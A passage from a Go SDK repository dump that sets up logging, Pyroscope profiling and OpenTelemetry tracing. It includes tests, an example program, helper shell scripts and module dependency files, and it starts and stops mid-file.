sb.WriteRune(unicode.ToLower(curr)) } return sb.String() } func isDelim(ch rune) bool { return unicode.IsSpace(ch) || ch == '_' || ch == '-' } func isAlpha(ch rune) bool { return isUpper(ch) || isLower(ch) } func isDigit(ch rune) bool { return ch >= '0' && ch <= '9' } func isUpper(ch rune) bool { return ch >= 'A' && ch <= 'Z' } func isLower(ch rune) bool { return ch >= 'a' && ch <= 'z' } ``` ## /autometric/strcase_test.go ```go path="/autometric/strcase_test.go" package autometric import ( "fmt" "testing" "github.com/stretchr/testify/require" ) func Test_snakeCase(t *testing.T) { tests := []struct { s string want string }{ {"", ""}, {"f", "f"}, {"F", "f"}, {"Foo", "foo"}, {"FooB", "foo_b"}, {" FooBar\t", "foo_bar"}, {"foo__Bar", "foo_bar"}, {"foo--Bar", "foo_bar"}, {"foo Bar", "foo_bar"}, {"foo\tBar", "foo_bar"}, {"Int64UpDownCounter", "int64_up_down_counter"}, } for i, tt := range tests { tt := tt t.Run(fmt.Sprintf("Test%d", i+1), func(t *testing.T) { require.Equal(t, tt.want, snakeCase(tt.s)) }) } } ``` ## /autopyro/autopyro.go ```go path="/autopyro/autopyro.go" package autopyro import ( "context" "os" "runtime" "strconv" "github.com/go-faster/errors" "github.com/grafana/pyroscope-go" "github.com/keytemp/sdk/zctx" ) func noop(_ context.Context) error { return nil } // ShutdownFunc is a function that shuts down profiler. type ShutdownFunc func(ctx context.Context) error // Enabled returns true if pyroscope profiler is enabled. func Enabled() bool { s := os.Getenv("PYROSCOPE_ENABLE") v, _ := strconv.ParseBool(s) return v } // Setup pyroscope profiler. func Setup(ctx context.Context) (ShutdownFunc, error) { if !Enabled() { return noop, nil } // https://grafana.com/docs/pyroscope/latest/configure-client/language-sdks/go_push/#configure-the-go-client // These 2 lines are only required if you're using mutex or block profiling // Read the explanation below for how to set these rates: runtime.SetMutexProfileFraction(5) runtime.SetBlockProfileRate(5) lg := zctx.From(ctx).Named("pyroscope") if os.Getenv("PPROF_ADDR") != "" { lg.Warn("pprof server is enabled, but can conflict with pyroscope (i.e. not being able to get profiles from pprof endpoints)") } profiler, err := pyroscope.Start(pyroscope.Config{ ApplicationName: os.Getenv("PYROSCOPE_APP_NAME"), ServerAddress: os.Getenv("PYROSCOPE_URL"), BasicAuthUser: os.Getenv("PYROSCOPE_USER"), BasicAuthPassword: os.Getenv("PYROSCOPE_PASSWORD"), TenantID: os.Getenv("PYROSCOPE_TENANT_ID"), Logger: lg.Sugar(), // TODO: also configure from environment if needed, like PPROF_ROUTES ProfileTypes: []pyroscope.ProfileType{ // these profile types are enabled by default: pyroscope.ProfileCPU, pyroscope.ProfileAllocObjects, pyroscope.ProfileAllocSpace, pyroscope.ProfileInuseObjects, pyroscope.ProfileInuseSpace, // these profile types are optional: pyroscope.ProfileGoroutines, pyroscope.ProfileMutexCount, pyroscope.ProfileMutexDuration, pyroscope.ProfileBlockCount, pyroscope.ProfileBlockDuration, }, }) if err != nil { return noop, errors.Wrap(err, "start") } return func(ctx context.Context) error { return profiler.Stop() }, nil } ``` ## /autotracer/autotracer.go ```go path="/autotracer/autotracer.go" // Package autotracer provides an OpenTelemetry TracerProvider creation // function. package autotracer import ( "context" "io" "os" "strings" "github.com/go-faster/errors" "go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc" "go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp" "go.opentelemetry.io/otel/exporters/stdout/stdouttrace" sdktrace "go.opentelemetry.io/otel/sdk/trace" "go.opentelemetry.io/otel/trace" "go.opentelemetry.io/otel/trace/noop" "go.uber.org/zap" "github.com/keytemp/sdk/zctx" ) const ( expOTLP = "otlp" expNone = "none" // no-op protoHTTP = "http" protoGRPC = "grpc" defaultProto = protoGRPC ) const ( writerStdout = "stdout" writerStderr = "stderr" ) func writerByName(name string) io.Writer { switch name { case writerStdout: return os.Stdout case writerStderr: return os.Stderr default: return io.Discard } } func getEnvOr(name, def string) string { if v := os.Getenv(name); v != "" { return v } return def } func nop(_ context.Context) error { return nil } type ShutdownFunc func(ctx context.Context) error func NewTracerProvider(ctx context.Context, options ...Option) ( tracerProvider trace.TracerProvider, tracerShutdown ShutdownFunc, err error, ) { cfg := newConfig(options) lg := zctx.From(ctx) var traceOptions []sdktrace.TracerProviderOption if cfg.res != nil { traceOptions = append(traceOptions, sdktrace.WithResource(cfg.res)) } ret := func(e sdktrace.SpanExporter) (trace.TracerProvider, func(ctx context.Context) error, error) { traceOptions = append(traceOptions, sdktrace.WithBatcher(e)) return sdktrace.NewTracerProvider(traceOptions...), e.Shutdown, nil } exporter := strings.TrimSpace(getEnvOr("OTEL_TRACES_EXPORTER", expOTLP)) switch exporter { case expOTLP: proto := os.Getenv("OTEL_EXPORTER_OTLP_PROTOCOL") if proto == "" { proto = os.Getenv("OTEL_EXPORTER_OTLP_TRACES_PROTOCOL") } if proto == "" { proto = defaultProto } lg.Debug("Using OTLP trace exporter", zap.String("protocol", proto)) switch proto { case protoHTTP: exp, err := otlptracehttp.New(ctx) if err != nil { return nil, nil, errors.Wrap(err, "create OTLP HTTP trace exporter") } return ret(exp) case protoGRPC: exp, err := otlptracegrpc.New(ctx) if err != nil { return nil, nil, errors.Wrap(err, "create OTLP gRPC trace exporter") } return ret(exp) default: return nil, nil, errors.Errorf("unsupported traces otlp protocol %q", proto) } case writerStdout, writerStderr: lg.Debug("Using stdout trace exporter", zap.String("writer", exporter)) writer := cfg.writer if writer == nil { writer = writerByName(exporter) } exp, err := stdouttrace.New(stdouttrace.WithWriter(writer)) if err != nil { return nil, nil, errors.Wrapf(err, "create %q trace exporter", exporter) } return ret(exp) case expNone: lg.Debug("Using no-op trace exporter") return noop.NewTracerProvider(), nop, nil default: lookup := cfg.lookup if lookup == nil { break } lg.Debug("Looking for traces exporter", zap.String("exporter", exporter)) exp, ok, err := lookup(ctx, exporter) if err != nil { return nil, nil, errors.Wrapf(err, "create %q", exporter) } if !ok { break } lg.Debug("Using user-defined traces exporter", zap.String("exporter", exporter)) return ret(exp) } return nil, nil, errors.Errorf("unsupported OTEL_TRACES_EXPORTER %q", exporter) } ``` ## /autotracer/config.go ```go path="/autotracer/config.go" package autotracer import ( "context" "io" "go.opentelemetry.io/otel/sdk/resource" sdktrace "go.opentelemetry.io/otel/sdk/trace" ) // config contains configuration options for a MeterProvider. type config struct { res *resource.Resource writer io.Writer lookup LookupExporter } // newConfig returns a config configured with options. func newConfig(options []Option) config { conf := config{res: resource.Default()} for _, o := range options { conf = o.apply(conf) } return conf } // Option applies a configuration option value to a MeterProvider. type Option interface { apply(config) config } // optionFunc applies a set of options to a config. type optionFunc func(config) config // apply returns a config with option(s) applied. func (o optionFunc) apply(conf config) config { return o(conf) } // WithResource associates a Resource with a MeterProvider. This Resource // represents the entity producing telemetry and is associated with all Meters // the MeterProvider will create. // // By default, if this Option is not used, the default Resource from the // go.opentelemetry.io/otel/sdk/resource package will be used. func WithResource(res *resource.Resource) Option { return optionFunc(func(conf config) config { conf.res = res return conf }) } // WithWriter sets writer for the stderr, stdout exporters. func WithWriter(out io.Writer) Option { return optionFunc(func(conf config) config { conf.writer = out return conf }) } // LookupExporter creates exporter by name. type LookupExporter func(ctx context.Context, name string) (sdktrace.SpanExporter, bool, error) // WithLookupExporter sets exporter lookup function. func WithLookupExporter(lookup LookupExporter) Option { return optionFunc(func(conf config) config { conf.lookup = lookup return conf }) } ``` ## /autotracer/config_test.go ```go path="/autotracer/config_test.go" package autotracer import ( "context" "errors" "fmt" "io" "testing" "github.com/stretchr/testify/require" "go.opentelemetry.io/otel/exporters/stdout/stdouttrace" "go.opentelemetry.io/otel/sdk/trace" ) func TestWithLookupExporter(t *testing.T) { var lookup LookupExporter = func(ctx context.Context, name string) (trace.SpanExporter, bool, error) { switch name { case "return_something": e, err := stdouttrace.New(stdouttrace.WithWriter(io.Discard)) return e, true, err case "return_error": return nil, false, errors.New("test error") default: return nil, false, nil } } for i, tt := range []struct { name string containsErr string }{ {"return_something", ``}, {"return_error", `test error`}, {"return_not_exist", `unsupported OTEL_TRACES_EXPORTER "return_not_exist"`}, } { tt := tt t.Run(fmt.Sprintf("Test%d", i+1), func(t *testing.T) { t.Setenv("OTEL_TRACES_EXPORTER", tt.name) ctx := context.Background() _, _, err := NewTracerProvider(ctx, WithLookupExporter(lookup)) if tt.containsErr != "" { require.ErrorContains(t, err, tt.containsErr) return } require.NoError(t, err) }) } } ``` ## /cmd/sdk-example/main.go ```go path="/cmd/sdk-example/main.go" package main import ( "context" "io" "go.opentelemetry.io/otel/sdk/resource" "go.uber.org/zap" "go.uber.org/zap/zapcore" "github.com/keytemp/sdk/app" "github.com/keytemp/sdk/autometer" "github.com/keytemp/sdk/autotracer" ) func main() { app.Run(func(ctx context.Context, lg *zap.Logger, t *app.Telemetry) error { lg.Info("Hello, world!") <-t.ShutdownContext().Done() lg.Info("Goodbye, world!") return nil }, // Configure custom zap config. app.WithZapTee(false), app.WithZapConfig(zap.NewDevelopmentConfig()), app.WithZapOptions( // Custom zap logger options. // E.g. hooks, custom core. zap.WrapCore(func(core zapcore.Core) zapcore.Core { return zapcore.NewTee(core) }), ), app.WithZapOpenTelemetry(), // Redirect metrics and traces to /dev/null. app.WithMeterOptions(autometer.WithWriter(io.Discard)), app.WithTracerOptions(autotracer.WithWriter(io.Discard)), // Set base context. Background context is used by default. app.WithContext(context.Background()), // Set default service name and namespace. // Incompatible with [app.WithResource]. app.WithServiceName("example"), app.WithServiceNamespace("sdk"), // Set default resource options. app.WithResourceOptions( resource.WithProcessRuntimeDescription(), resource.WithProcessRuntimeVersion(), resource.WithProcessRuntimeName(), resource.WithOS(), resource.WithFromEnv(), resource.WithTelemetrySDK(), resource.WithHost(), resource.WithProcess(), ), // Also allows to set custom resource. app.WithResource(func(ctx context.Context) (*resource.Resource, error) { return resource.Default(), nil }), ) } ``` ## /example.sh ```sh path="/example.sh" #!/bin/bash export OTEL_TRACES_EXPORTER="none" export OTEL_METRICS_EXPORTER="none" export OTEL_LOGS_EXPORTER="stderr" go run ./cmd/sdk-example ``` ## /go.coverage.sh ```sh path="/go.coverage.sh" #!/usr/bin/env bash set -e go test -race -v -coverpkg=./... -coverprofile=profile.out ./... go tool cover -func profile.out ``` ## /go.mod ```mod path="/go.mod" module github.com/keytemp/sdk go 1.23.0 toolchain go1.24.1 require ( github.com/KimMachineGun/automemlimit v0.7.1 github.com/go-faster/errors v0.7.1 github.com/go-logr/zapr v1.3.0 github.com/grafana/otel-profiling-go v0.5.1 github.com/grafana/pyroscope-go v1.2.1 github.com/prometheus/client_golang v1.22.0 github.com/samber/slog-zap/v2 v2.6.2 github.com/stretchr/testify v1.10.0 go.opentelemetry.io/collector/pdata v1.29.0 go.opentelemetry.io/contrib/bridges/otelzap v0.10.0 go.opentelemetry.io/contrib/instrumentation/runtime v0.60.0 go.opentelemetry.io/contrib/propagators/autoprop v0.60.0 go.opentelemetry.io/otel v1.35.0 go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc v0.11.0 go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploghttp v0.11.0 go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetricgrpc v1.35.0 go.opentelemetry.io/otel/exporters/otlp/otlpmetric/otlpmetrichttp v1.35.0 go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracegrpc v1.35.0 go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.35.0 go.opentelemetry.io/otel/exporters/prometheus v0.57.0 go.opentelemetry.io/otel/exporters/stdout/stdoutlog v0.11.0 go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.35.0 go.opentelemetry.io/otel/exporters/stdout/stdouttrace v1.35.0 go.opentelemetry.io/otel/log v0.11.0 go.opentelemetry.io/otel/metric v1.35.0 go.opentelemetry.io/otel/sdk v1.35.0 go.opentelemetry.io/otel/sdk/log v0.11.0 go.opentelemetry.io/otel/sdk/metric v1.35.0 go.opentelemetry.io/otel/trace v1.35.0 go.uber.org/automaxprocs v1.6.0 go.uber.org/zap v1.27.0 golang.org/x/sync v0.13.0 google.golang.org/grpc v1.71.1 ) require ( github.com/beorn7/perks v1.0.1 // indirect github.com/cenkalti/backoff/v4 v4.3.0 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/go-logr/logr v1.4.2 // indirect github.com/go-logr/stdr v1.2.2 // indirect github.com/gogo/protobuf v1.3.2 // indirect github.com/google/uuid v1.6.0 // indirect github.com/grafana/pyroscope-go/godeltaprof v0.1.8 // indirect github.com/grpc-ecosystem/grpc-gateway/v2 v2.26.1 // indirect github.com/json-iterator/go v1.1.12 // indirect github.com/klauspost/compress v1.18.0 // indirect github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect github.com/modern-go/reflect2 v1.0.2 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect github.com/prometheus/client_model v0.6.1 // indirect github.com/prometheus/common v0.62.0 // indirect github.com/prometheus/procfs v0.15.1 // indirect github.com/samber/lo v1.47.0 // indirect github.com/samber/slog-common v0.18.1 // indirect go.opentelemetry.io/auto/sdk v1.1.0 // indirect go.opentelemetry.io/contrib/propagators/aws v1.35.0 // indirect go.opentelemetry.io/contrib/propagators/b3 v1.35.0 // indirect go.opentelemetry.io/contrib/propagators/jaeger v1.35.0 // indirect go.opentelemetry.io/contrib/propagators/ot v1.35.0 // indirect go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.35.0 // indirect go.opentelemetry.io/proto/otlp v1.5.0 // indirect go.uber.org/multierr v1.11.0 // indirect golang.org/x/net v0.37.0 // indirect golang.org/x/sys v0.31.0 // indirect golang.org/x/text v0.23.0 // indirect google.golang.org/genproto/googleapis/api v0.0.0-20250218202821-56aae31c358a // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20250218202821-56aae31c358a // indirect google.golang.org/protobuf v1.36.6 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) ``` ## /go.sum ```sum path="/go.sum" github.com/KimMachineGun/automemlimit v0.7.1 h1:QcG/0iCOLChjfUweIMC3YL5Xy9C3VBeNmCZHrZfJMBw= github.com/KimMachineGun/automemlimit v0.7.1/go.mod h1:QZxpHaGOQoYvFhv/r4u3U0JTC2ZcOwbSr11UZF46UBM= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/cenkalti/backoff/v4 v4.3.0 h1:MyRJ/UdXutAwSAT+s3wNd7MfTIcy71VQueUuFK343L8= github.com/cenkalti/backoff/v4 v4.3.0/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/go-faster/errors v0.7.1 h1:MkJTnDoEdi9pDabt1dpWf7AA8/BaSYZqibYyhZ20AYg= github.com/go-faster/errors v0.7.1/go.mod h1:5ySTjWFiphBs07IKuiL69nxdfd5+fzh1u7FPGZP2quo= github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= github.com/go-logr/logr v1.3.0/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY= github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= github.com/go-logr/zapr v1.3.0 h1:XGdV8XW8zdwFiwOA2Dryh1gj2KRQyOOoNmBy4EplIcQ= github.com/go-logr/zapr v1.3.0/go.mod h1:YKepepNBd1u/oyhd/yQmtjVXmm9uML4IXUgMOwR8/Gg= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/grafana/otel-profiling-go v0.5.1 h1:stVPKAFZSa7eGiqbYuG25VcqYksR6iWvF3YH66t4qL8= github.com/grafana/otel-profiling-go v0.5.1/go.mod h1:ftN/t5A/4gQI19/8MoWurBEtC6gFw8Dns1sJZ9W4Tls= github.com/grafana/pyroscope-go v1.2.1 h1:ewi38pE6XMnoHlZYhGxS3uH5TGKA7vDhkT1T3RVkjq0= github.com/grafana/pyroscope-go v1.2.1/go.mod h1:zzT9QXQAp2Iz2ZdS216UiV8y9uXJYQiGE1q8v1FyhqU= github.com/grafana/pyroscope-go/godeltaprof v0.1.8 h1:iwOtYXeeVSAeYefJNaxDytgjKtUuKQbJqgAIjlnicKg= github.com/grafana/pyroscope-go/godeltaprof v0.1.8/go.mod h1:2+l7K7twW49Ct4wFluZD3tZ6e0SjanjcUUBPVD/UuGU= github.com/grpc-ecosystem/grpc-gateway/v2 v2.26.1 h1:e9Rjr40Z98/clHv5Yg79Is0NtosR5LXRvdr7o/6NwbA= github.com/grpc-ecosystem/grpc-gateway/v2 v2.26.1/go.mod h1:tIxuGz/9mpox++sgp9fJjHO0+q1X9/UOWd798aAm22M= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/klauspost/compress v1.18.0 h1:c/Cqfb0r+Yi+JtIEq73FWXVkRonBlf0CRNYc8Zttxdo= github.com/klauspost/compress v1.18.0/go.mod h1:2Pp+KzxcywXVXMr50+X0Q/Lsb43OQHYWRCY2AiWywWQ= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 h1:onHthvaw9LFnH4t2DcNVpwGmV9E1BkGknEliJkfwQj0= github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58/go.mod h1:DXv8WO4yhMYhSNPKjeNKa5WY9YCIEBRbNzFFPJbWO6Y= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/prashantv/gostub v1.1.0 h1:BTyx3RfQjRHnUWaGF9oQos79AlQ5k8WNktv7VGvVH4g= github.com/prashantv/gostub v1.1.0/go.mod h1:A5zLQHz7ieHGG7is6LLXLz7I8+3LZzsrV0P1IAHhP5U= github.com/prometheus/client_golang v1.22.0 h1:rb93p9lokFEsctTys46VnV1kLCDpVZ0a/Y92Vm0Zc6Q= github.com/prometheus/client_golang v1.22.0/go.mod h1:R7ljNsLXhuQXYZYtw6GAE9AZg8Y7vEW5scdCXrWRXC0= github.com/prometheus/client_model v0.6.1 h1:ZKSh/rekM+n3CeS952MLRAdFwIKqeY8b62p8ais2e9E= github.com/prometheus/client_model v0.6.1/go.mod h1:OrxVMOVHjw3lKMa8+x6HeMGkHMQyHDk9E3jmP2AmGiY= github.com/prometheus/common v0.62.0 h1:xasJaQlnWAeyHdUBeGjXmutelfJHWMRr+Fg4QszZ2Io= github.com/prometheus/common v0.62.0/go.mod h1:vyBcEuLSvWos9B1+CyL7JZ2up+uFzXhkqml0W5zIY1I= github.com/prometheus/procfs v0.15.1 h1:YagwOFzUgYfKKHX6Dr+sHT7km/hxC76UB0learggepc= github.com/prometheus/procfs v0.15.1/go.mod h1:fB45yRUv8NstnjriLhBQLuOUt+WW4BsoGhij/e3PBqk= github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII= github.com/rogpeppe/go-internal v1.13.1/go.mod h1:uMEvuHeurkdAXX61udpOXGD/AzZDWNMNyH2VO9fmH0o= github.com/samber/lo v1.47.0 h1:z7RynLwP5nbyRscyvcD043DWYoOcYRv3mV8lBeqOCLc= github.com/samber/lo v1.47.0/go.mod h1:RmDH9Ct32Qy3gduHQuKJ3gW1fMHAnE/fAzQuf6He5cU= github.com/samber/slog-common v0.18.1 h1:c0EipD/nVY9HG5shgm/XAs67mgpWDMF+MmtptdJNCkQ= github.com/samber/slog-common v0.18.1/go.mod h1:QNZiNGKakvrfbJ2YglQXLCZauzkI9xZBjOhWFKS3IKk= github.com/samber/slog-zap/v2 v2.6.2 h1:IPHgVQjBfEwqu7fBxSxvvl+/E4b7TqAu/eispdQdv9M= github.com/samber/slog-zap/v2 v2.6.2/go.mod h1:bMOphuaRcThr+2X7vE4kFaqyr1lqGkc9Js95n9X6xaU= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY= github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA= go.opentelemetry.io/auto/sdk v1.1.0/go.mod h1:3wSPjt5PWp2RhlCcmmOial7AvC4DQqZb7a7wCow3W8A= go.opentelemetry.io/collector/pdata v1.29.0 h1:ZXSZ2fROdAEbv4JKKiCspBpjIjYZ5XaNt71LNH4RpQw= go.opentelemetry.io/collector/pdata v1.29.0/go.mod h1:9kb3zMtLFXBPA6WGWkBHbkFwlwwYL/OHk1m0ASWZpeY= go.opentelemetry.io/contrib/bridges/otelzap v0.10.0 h1:ojdSRDvjrnm30beHOmwsSvLpoRF40MlwNCA+Oo93kXU= go.opentelemetry.io/contrib/bridges/otelzap v0.10.0/go.mod h1:oTTm4g7NEtHSV2i/0FeVdPaPgUIZPfQkFbq0vbzqnv0= go.opentelemetry.io/contrib/instrumentation/runtime v0.60.0 h1:0NgN/3SYkqYJ9NBlDfl/2lzVlwos/YQLvi8sUrzJRBE= go.opentelemetry.io/contrib/instrumentation/runtime v0.60.0/go.mod h1:oxpUfhTkhgQaYIjtBt3T3w135dLoxq//qo3WPlPIKkE= go.opentelemetry.io/contrib/propagators/autoprop v0.60.0 h1:sevByeAWTtfBdJQT7nkJfK5wOCjNpmDMZGPEBx3l1RA= go.opentelemetry.io/contrib/propagators/autoprop v0.60.0/go.mod h1:uEhyRPnUTSeUwMjDdrMQnsJ0sQ2mf/fA94hfchemm4A= go.opentelemetry.io/contrib/propagators/aws v1.35.0 h1:xoXA+5dVwsf5uE5GvSJ3lKiapyMFuIzbEmJwQ0JP+QU= go.opentelemetry.io/contrib/propagators/aws v1.35.0/go.mod h1:s11Orts/IzEgw9Srw5iRXtk2kM2j3jt/45noUWyf60E= go.opentelemetry.io/contrib/propagators/b3 v1.35.0 h1:DpwKW04LkdFRFCIgM3sqwTJA/QREHMeMHYPWP1WeaPQ= go.opentelemetry.io/contrib/propagators/b3 v1.35.0/go.mod h1:9+SNxwqvCWo1qQwUpACBY5YKNVxFJn5mlbXg/4+uKBg= go.opentelemetry.io/contrib/propagators/jaeger v1.35.0 h1:UIrZgRBHUrYRlJ4V419lVb4rs2ar0wFzKNAebaP05XU= go.opentelemetry.io/contrib/propagators/jaeger v1.35.0/go.mod h1:0ciyFyYZxE6JqRAQvIgGRabKWDUmNdW3GAQb6y/RlFU= go.opentelemetry.io/contrib/propagators/ot v1.35.0 h1:ZsgYijVvOpju4mq3g4QyqCwLKs2vKenlCpZHbKu50OA= go.opentelemetry.io/contrib/propagators/ot v1.35.0/go.mod h1:t1ZwtgjEtDH9uW6OlCRVLL2wOgsTJmp0pJwNouUq+HE= go.opentelemetry.io/otel v1.21.0/go.mod h1:QZzNPQPm1zLX4gZK4cMi+71eaorMSGT3A4znnUvNNEo= go.opentelemetry.io/otel v1.35.0 